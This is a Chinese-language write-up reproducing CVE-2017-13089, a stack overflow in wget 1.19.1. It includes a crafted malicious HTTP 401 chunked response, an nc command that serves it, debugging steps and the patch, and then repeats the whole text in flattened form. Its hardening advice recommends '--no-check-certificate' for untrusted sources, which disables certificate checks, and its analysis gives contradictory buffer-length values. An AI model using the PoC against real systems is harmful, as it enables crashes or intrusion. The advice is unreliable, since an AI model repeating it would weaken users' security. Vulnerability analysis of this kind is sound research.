CVE-2017-13089 wget 栈溢出漏洞复现
字数 961 2025-08-26 22:12:03

Wget 1.19.1 栈溢出漏洞(CVE-2017-13089)分析与复现

漏洞概述

CVE-2017-13089是Wget 1.19.1版本中存在的一个栈溢出漏洞,该漏洞源于对HTTP 401未授权响应处理不当导致的整数溢出问题。攻击者可以通过构造恶意的HTTP响应包,导致目标系统上的wget程序崩溃或可能执行任意代码。

环境准备

编译环境搭建

sudo apt-get install libneon27-gnutls-dev
wget https://ftp.gnu.org/gnu/wget/wget-1.19.1.tar.gz
tar zxvf wget-1.19.1.tar.gz
cd wget-1.19.1/
mkdir build/ & ./configure --prefix=$PWD/build/
make -j8
sudo make install
cd build/

编译完成后,wget二进制文件将安装在--prefix指定的bin/目录下。

漏洞触发

漏洞原理

该漏洞发生在wget处理HTTP 401状态码响应时,对分块传输编码(chunked transfer encoding)的处理过程中。当解析恶意构造的负值块大小时,由于缺乏适当的边界检查,导致整数溢出,最终引发栈缓冲区溢出。

POC构造

创建恶意响应文件poc

HTTP/1.1 401 Not Authorized
Content-Type: text/plain; charset=UTF-8
Transfer-Encoding: chunked
Connection: keep-alive

-0xFFFFF000
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
[...省略大量A字符...]
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
0

触发步骤

  1. 使用nc监听端口:
nc -lp 12667 < poc
  1. 使用漏洞版本wget连接:
./bin/wget 127.0.0.1:12667

此时wget将因栈溢出而崩溃。

漏洞分析

关键代码路径

漏洞主要发生在src/http.c文件的skip_short_body函数中,处理流程如下:

  1. 当收到401状态码时,进入以下判断:
if (statcode == HTTP_STATUS_UNAUTHORIZED) {
    /* Authorization is required. */
    if (keep_alive && !head_only && skip_short_body(sock, contlen, chunked_transfer_encoding))
        CLOSE_FINISH (sock);
    else
        CLOSE_INVALIDATE (sock);
}
  1. skip_short_body函数处理分块传输:
static bool skip_short_body(int fd, wgint contlen, bool chunked) {
    enum {
        SKIP_SIZE = 512,       /* size of the download buffer */
        SKIP_THRESHOLD = 4096  /* the largest size we read */
    };
    
    char dlbuf[SKIP_SIZE + 1];
    // [...]
    
    if (chunked) {
        char *line = fd_read_line(fd);
        remaining_chunk_size = strtol(line, &endl, 16);
        contlen = MIN(remaining_chunk_size, SKIP_SIZE);
    }
    
    ret = fd_read(fd, dlbuf, MIN(contlen, SKIP_SIZE), -1);
    // [...]
}
  1. 最终调用栈读取函数:
static int sock_read(int fd, char *buf, int bufsize) {
    int res;
    do
        res = read(fd, buf, bufsize);
    while (res == -1 && errno == EINTR);
    return res;
}

漏洞触发流程

  1. 当处理分块传输时,fd_read_line读取块大小行"-0xFFFFF000"
  2. strtol将其转换为负数(0xFFFFF000的补码表示)
  3. MIN宏比较负数与SKIP_SIZE(512),返回512
  4. 但实际read操作时,使用原始负数作为长度参数
  5. 导致栈缓冲区dlbuf被大量数据覆盖,引发溢出

动态分析

使用GDB调试:

gdb ./wget
set args 127.0.0.1:12667
b skip_short_body

关键观察点:

  1. strtol转换后remaining_chunk_size值为0xFFFFFFFF00001000
  2. 经过MIN比较后contlen值为0x1000
  3. fd_read实际读取时使用过大长度值

漏洞补丁

修复方案增加了对块大小的有效性检查:

remaining_chunk_size = strtol(line, &endl, 16);
if (remaining_chunk_size < 0) {
    xfree(line);
    return false;
}

防护建议

  1. 升级到最新版本的wget
  2. 对不可信来源使用wget时添加--no-check-certificate选项
  3. 在网络边界过滤异常HTTP响应

参考

  • GNU wget安全公告
  • CVE-2017-13089漏洞描述
  • 相关漏洞分析文章
Wget 1.19.1 栈溢出漏洞(CVE-2017-13089)分析与复现 漏洞概述 CVE-2017-13089是Wget 1.19.1版本中存在的一个栈溢出漏洞,该漏洞源于对HTTP 401未授权响应处理不当导致的整数溢出问题。攻击者可以通过构造恶意的HTTP响应包,导致目标系统上的wget程序崩溃或可能执行任意代码。 环境准备 编译环境搭建 编译完成后,wget二进制文件将安装在 --prefix 指定的 bin/ 目录下。 漏洞触发 漏洞原理 该漏洞发生在wget处理HTTP 401状态码响应时,对分块传输编码(chunked transfer encoding)的处理过程中。当解析恶意构造的负值块大小时,由于缺乏适当的边界检查,导致整数溢出,最终引发栈缓冲区溢出。 POC构造 创建恶意响应文件 poc : 触发步骤 使用nc监听端口: 使用漏洞版本wget连接: 此时wget将因栈溢出而崩溃。 漏洞分析 关键代码路径 漏洞主要发生在 src/http.c 文件的 skip_short_body 函数中,处理流程如下: 当收到401状态码时,进入以下判断: skip_short_body 函数处理分块传输: 最终调用栈读取函数: 漏洞触发流程 当处理分块传输时, fd_read_line 读取块大小行"-0xFFFFF000" strtol 将其转换为负数(0xFFFFF000的补码表示) MIN 宏比较负数与SKIP_ SIZE(512),返回512 但实际 read 操作时,使用原始负数作为长度参数 导致栈缓冲区 dlbuf 被大量数据覆盖,引发溢出 动态分析 使用GDB调试: 关键观察点: strtol 转换后 remaining_chunk_size 值为0xFFFFFFFF00001000 经过 MIN 比较后 contlen 值为0x1000 fd_read 实际读取时使用过大长度值 漏洞补丁 修复方案增加了对块大小的有效性检查: 防护建议 升级到最新版本的wget 对不可信来源使用wget时添加 --no-check-certificate 选项 在网络边界过滤异常HTTP响应 参考 GNU wget安全公告 CVE-2017-13089漏洞描述 相关漏洞分析文章